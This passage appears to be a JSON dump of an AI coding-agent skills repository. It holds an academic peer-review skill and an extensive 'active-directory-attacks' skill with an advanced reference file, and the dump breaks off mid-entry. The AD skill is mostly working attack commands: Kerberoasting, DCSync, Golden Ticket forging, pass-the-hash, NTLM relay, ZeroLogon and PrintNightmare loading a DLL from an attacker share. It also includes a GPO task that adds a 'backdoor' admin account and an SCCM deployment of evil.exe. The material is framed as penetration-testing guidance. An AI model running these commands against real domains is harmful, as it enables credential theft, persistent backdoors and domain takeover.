-->","skills/three-best-practices/rules/object-pooling.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fobject-pooling.md -->","skills/three-best-practices/rules/physics-integration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fphysics-integration.md -->","skills/three-best-practices/rules/postprocessing-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fpostprocessing-optimization.md -->","skills/three-best-practices/rules/raycasting-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fraycasting-optimization.md -->","skills/three-best-practices/rules/render-delta-time.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Frender-delta-time.md -->","skills/three-best-practices/rules/setup-use-import-maps.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fsetup-use-import-maps.md -->","skills/three-best-practices/rules/shader-mobile.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fshader-mobile.md -->","skills/three-best-practices/rules/tsl-complete-reference.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-complete-reference.md -->","skills/three-best-practices/rules/tsl-compute-shaders.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-compute-shaders.md -->","skills/three-best-practices/rules/tsl-material-slots.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-material-slots.md -->","skills/three-best-practices/rules/tsl-post-processing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-post-processing.md -->","skills/three-best-practices/rules/tsl-why-use.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-why-use.md -->","skills/three-best-practices/rules/webgpu-renderer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebgpu-renderer.md -->","skills/three-best-practices/rules/webxr-setup.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebxr-setup.md -->","skills/timeline-builder/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftimeline-builder%2FSKILL.md -->","skills/top-web-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftop-web-vulnerabilities%2FSKILL.md -->","skills/tos-clause-scanner/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftos-clause-scanner%2FSKILL.md -->","skills/typescript-pro/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2FSKILL.md -->","skills/typescript-pro/references/advanced-types.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fadvanced-types.md -->","skills/typescript-pro/references/configuration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fconfiguration.md -->","skills/typescript-pro/references/patterns.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fpatterns.md -->","skills/typescript-pro/references/type-guards.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Ftype-guards.md -->","skills/typescript-pro/references/utility-types.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Futility-types.md -->","skills/vc-industry-research/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2FSKILL.md -->","skills/vc-industry-research/references/structure_contract.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstructure_contract.md -->","skills/vc-industry-research/references/style_contract.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstyle_contract.md -->","skills/windows-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwindows-privilege-escalation%2FSKILL.md -->","skills/wireshark-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwireshark-analysis%2FSKILL.md -->","skills/wordpress-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwordpress-penetration-testing%2FSKILL.md -->","skills/xss-html-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fxss-html-injection%2FSKILL.md -->"},"files":{"agents/.claude/agents/change-implementer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fchange-implementer.md -->","agents/.claude/agents/code-reviewer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcode-reviewer.md -->","agents/.claude/agents/codebase-mapper.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcodebase-mapper.md -->","agents/.claude/agents/official-docs-researcher.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fofficial-docs-researcher.md -->","agents/.claude/agents/root-cause-debugger.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Froot-cause-debugger.md -->","agents/.claude/agents/runtime-verifier.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fruntime-verifier.md -->","agents/.claude/agents/security-reviewer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsecurity-reviewer.md -->","agents/.claude/agents/solution-architect.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsolution-architect.md -->","agents/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2FREADME.md -->","skills/academic-paper-reviewer/SKILL.md":"---\nname: academic-paper-reviewer\ndescription: \"Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \\\"review my paper,\\\" \\\"simulate peer review,\\\" or \\\"give my paper a peer review.\"\nlicense: MIT\n---\n\n# Academic Paper Reviewer — Simulated Peer Review\n\nYou are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.\n\n---\n\n## Input Requirements\n\nAsk the user to provide the following information (at least the first two items):\n\n1. **Paper content**: Abstract, full text, or specific sections to be reviewed\n2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.\n3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards\n4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing quality\n\nIf the user does not specify a target venue, apply the general standards of a top-tier journal in the given discipline.\n\n---\n\n## Four Review Dimensions\n\n### Dimension 1: Originality\n\nAssesses the paper's academic novelty and contribution to the existing body of knowledge.\n\n**Review criteria:**\n\n- **Novelty of the research question**: Is the problem insufficiently addressed? Does the paper propose a new perspective or framework?\n- **Differentiation from existing work**: Is the distinction from prior research clearly articulated? Does the Related Work section adequately cover key references?\n- **Significance of contributions**: Do the findings represent a meaningful advance in the field? Is this an incremental improvement or a paradigm shift?\n- **Theoretical or practical value**: Are the results generalizable or applicable in practice?\n\n**Common issue examples:**\n\n- Major: Core method is highly similar to published work without clarifying the fundamental differences\n- Major: Research question has already been well addressed; no new contributions identified\n- Minor: Related Work section misses important recent work in the field\n- Minor: Contribution claims are too vague; innovation points need more precise articulation\n\n### Dimension 2: Methodology\n\nAssesses the scientific rigor, soundness, and reproducibility of the research methods.\n\n**Review criteria:**\n\n- **Soundness of research design**: Can the experimental design answer the stated research questions? Are there confounding variables or biases?\n- **Rigor of technical approach**: Are the chosen methods appropriate for the problem? Are assumptions reasonable and clearly stated?\n- **Baselines and comparative experiments**: Are comparisons made against appropriate baselines? Are comparisons fair (same datasets, comparable model sizes, etc.)?\n- **Reproducibility**: Is the method description detailed enough? Are key implementation details, hyperparameter settings, code, or data provided?\n- **Statistical methods**: Is the sample size adequate? Are statistical tests appropriate? Are confidence intervals or effect sizes reported?\n\n**Common issue examples:**\n\n- Major: Missing ablation studies; cannot verify independent contributions of each component\n- Major: No comparison with current SOTA methods; insufficient evidence of claimed improvements\n- Major: Sample size insufficient to support statistical conclusions; power analysis needed\n- Minor: Hyperparameter choices lack justification or sensitivity analysis\n- Minor: Some experimental details are unclear, affecting reproducibility\n\n### Dimension 3: Results\n\nAssesses the reliability, completeness, and interpretive soundness of the experimental results.\n\n**Review criteria:**\n\n- **Reliability of results**: Were experiments run multiple times? Are standard deviations or confidence intervals reported?\n- **Clarity of data presentation**: Are figures and tables clear, accurate, and informative? Is numerical precision appropriate?\n- **Consistency between results and conclusions**: Are the conclusions adequately supported by experimental evidence? Is there over-interpretation or selective reporting?\n- **Handling of negative results**: Are unexpected or unfavorable results honestly reported? Are reasonable explanations provided?\n- **Limitations analysis**: Are the limitations of the methods and results thoroughly discussed? Are future improvement directions identified?\n\n**Common issue examples:**\n\n- Major: Key experiments lack error bars or statistical significance tests\n- Major: Conclusions exceed the scope supported by experimental evidence\n- Major: Only favorable results are reported; potential reporting bias\n- Minor: Some figures have low resolution or unclear labels\n- Minor: Limitations section is too brief; core limitations are not discussed\n\n### Dimension 4: Writing\n\nAssesses the quality of expression, logical structure, and adherence to academic conventions.\n\n**Review criteria:**\n\n- **Overall structure**: Is the paper well-organized? Is the logic between sections coherent?\n- **Abstract quality**: Does the abstract accurately summarize the research question, methods, key findings, and contributions?\n- **Language quality**: Is the writing fluent? Are there grammatical errors, vague expressions, or redundancy?\n- **Terminology consistency**: Is specialized terminology used consistently and accurately? Are symbols defined at first occurrence?\n- **Citation standards**: Does the reference format comply with the target venue's requirements? Are citations appropriate (no excessive self-citation, no missing key references)?\n- **Length control**: Are section lengths reasonable? Is there obvious redundancy or insufficiency?\n\n**Common issue examples:**\n\n- Major: Paper's logical structure is disorganized; main argument is hard to follow\n- Minor: Abstract does not mention quantitative metrics from key experimental results\n- Minor: Some paragraphs are overly long and lack topic sentences; splitting recommended\n- Minor: Multiple grammatical errors in the English writing; native speaker proofreading recommended\n- Minor: Figure/table numbering does not match in-text references\n\n---\n\n## Severity Definitions\n\n### Major Revision\n\nCritical issues that must be addressed — the paper is not publishable without resolving these:\n\n- Fundamental flaws in experimental design\n- Missing key comparative experiments\n- Conclusions lack data support or involve over-interpretation\n- Insufficient originality; unclear differentiation from existing work\n- Obvious errors in technical methods\n\n### Minor Revision\n\nRecommended improvements that would significantly enhance paper quality:\n\n- Writing quality can be further improved\n- Some details are insufficiently described\n- Figures and tables can be optimized\n- Additional analysis or discussion needed\n- Formatting issues such as citation style\n\n---\n\n## Output Format\n\nFor each paper submitted, produce a review report in the following structure:\n\n```\n## Peer Review Report\n\n### Overall Assessment\n\n- **Recommendation**: [Accept / Minor Revision / Major Revision / Reject]\n- **Overall Score**: [1-10]\n- **Summary**: [One-sentence overall evaluation, including main strengths and core issues]\n\n---\n\n### 1. Originality\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List originality highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 2. Methodology\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List methodology highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 3. Results\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List results highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 4. Writing\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List writing highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### Revision Priority Checklist\n\nRevision suggestions ranked by importance to help authors revise efficiently:\n\n| Priority | Dimension | Type | Revision Item |\n|----------|-----------|------|---------------|\n| 1 | [Dimension] | Major | [Brief description] |\n| 2 | [Dimension] | Major | [Brief description] |\n| 3 | [Dimension] | Minor | [Brief description] |\n| ... | ... | ... | ... |\n\n---\n\n### General Advice for Authors\n\n[2-3 paragraphs of comprehensive advice, covering the paper's core strengths, areas most in need of improvement, and recommended revision strategy]\n```\n\n---\n\n## Review Principles\n\n1. **Constructive and actionable**: Every criticism must be accompanied by a specific, actionable improvement suggestion — no purely negative feedback\n2. **Evidence-driven**: When identifying issues, reference specific paragraphs, figures, or data from the paper\n3. **Fair and objective**: Highlight both strengths and weaknesses; avoid one-sided criticism\n4. **Standard calibration**: Adjust review rigor based on the target venue's standards (e.g., Nature/Science-level review criteria vs. mid-tier journals)\n\n## Additional Notes\n\n- If the user provides a PDF file, first use the PDF tool to extract the paper content, then proceed with the review\n- If only an abstract is provided, focus the review on the novelty of the research question, the soundness of the method overview, and writing quality — and suggest that the user submit the full paper for a more comprehensive review\n- If the user specifies a review focus, provide more detailed and in-depth evaluation on the corresponding dimension\n- For interdisciplinary papers, assess methodological soundness from the perspectives of each relevant discipline\n","skills/active-directory-attacks/SKILL.md":"---\nname: active-directory-attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs/Prerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs/Deliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR/NBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time /domain /set\n\n# Fake clock without changing system time\nfaketime -f '+8h' <command>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync /domain:domain.local /user:krbtgt\nlsadump::dcsync /domain:domain.local /user:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local/Administrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local/user -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB/HTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local/DC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278/42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local/user:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps://dc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local/user:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).\n","skills/active-directory-attacks/references/advanced-attacks.md":"# Advanced Active Directory Attacks Reference\r\n\r\n## Table of Contents\r\n1. [Delegation Attacks](#delegation-attacks)\r\n2. [Group Policy Object Abuse](#group-policy-object-abuse)\r\n3. [RODC Attacks](#rodc-attacks)\r\n4. [SCCM/WSUS Deployment](#sccmwsus-deployment)\r\n5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)\r\n6. [Trust Relationship Attacks](#trust-relationship-attacks)\r\n7. [ADFS Golden SAML](#adfs-golden-saml)\r\n8. [Credential Sources](#credential-sources)\r\n9. [Linux AD Integration](#linux-ad-integration)\r\n\r\n---\r\n\r\n## Delegation Attacks\r\n\r\n### Unconstrained Delegation\r\n\r\nWhen a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.\r\n\r\n**Find Delegation:**\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -Filter {TrustedForDelegation -eq $True}\r\n\r\n# BloodHound\r\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c\r\n```\r\n\r\n**SpoolService Abuse:**\r\n```bash\r\n# Check spooler service\r\nls \\\\dc01\\pipe\\spoolss\r\n\r\n# Trigger with SpoolSample\r\n.\\SpoolSample.exe DC01.domain.local HELPDESK.domain.local\r\n\r\n# Or with printerbug.py\r\npython3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP\r\n```\r\n\r\n**Monitor with Rubeus:**\r\n```powershell\r\nRubeus.exe monitor /interval:1\r\n```\r\n\r\n### Constrained Delegation\r\n\r\n**Identify:**\r\n```powershell\r\nGet-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo\r\n```\r\n\r\n**Exploit with Rubeus:**\r\n```powershell\r\n# S4U2 attack\r\nRubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n**Exploit with Impacket:**\r\n```bash\r\ngetST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP\r\n```\r\n\r\n### Resource-Based Constrained Delegation (RBCD)\r\n\r\n```powershell\r\n# Create machine account\r\nNew-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)\r\n\r\n# Set delegation\r\nSet-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$\r\n\r\n# Get ticket\r\n.\\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n---\r\n\r\n## Group Policy Object Abuse\r\n\r\n### Find Vulnerable GPOs\r\n\r\n```powershell\r\nGet-DomainObjectAcl -Identity \"SuperSecureGPO\" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match \"GenericWrite|WriteDacl|WriteOwner\")}\r\n```\r\n\r\n### Abuse with SharpGPOAbuse\r\n\r\n```powershell\r\n# Add local admin\r\n.\\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add user rights\r\n.\\SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight\" --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add immediate task\r\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\Admin --Command \"cmd.exe\" --Arguments \"/c net user backdoor Password123! /add\" --GPOName \"Vulnerable GPO\"\r\n```\r\n\r\n### Abuse with pyGPOAbuse (Linux)\r\n\r\n```bash\r\n./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\"\r\n```\r\n\r\n---\r\n\r\n## RODC Attacks\r\n\r\n### RODC Golden Ticket\r\n\r\nRODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.\r\n\r\n### RODC Key List Attack\r\n\r\n**Requirements:**\r\n- krbtgt credentials of the RODC (-rodcKey)\r\n- ID of the krbtgt account of the RODC (-rodcNo)\r\n\r\n```bash\r\n# Impacket keylistattack\r\nkeylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full\r\n\r\n# Using secretsdump with keylist\r\nsecretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist\r\n```\r\n\r\n**Using Rubeus:**\r\n```powershell\r\nRubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx\r\n```\r\n\r\n---\r\n\r\n## SCCM/WSUS Deployment\r\n\r\n### SCCM Attack with MalSCCM\r\n\r\n```bash\r\n# Locate SCCM server\r\nMalSCCM.exe locate\r\n\r\n# Enumerate targets\r\nMalSCCM.exe inspect /all\r\nMalSCCM.exe inspect /computers\r\n\r\n# Create target group\r\nMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device\r\nMalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC\r\n\r\n# Create malicious app\r\nMalSCCM.exe app /create /name:backdoor /uncpath:\"\\\\SCCM\\SCCMContentLib$\\evil.exe\"\r\n\r\n# Deploy\r\nMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup 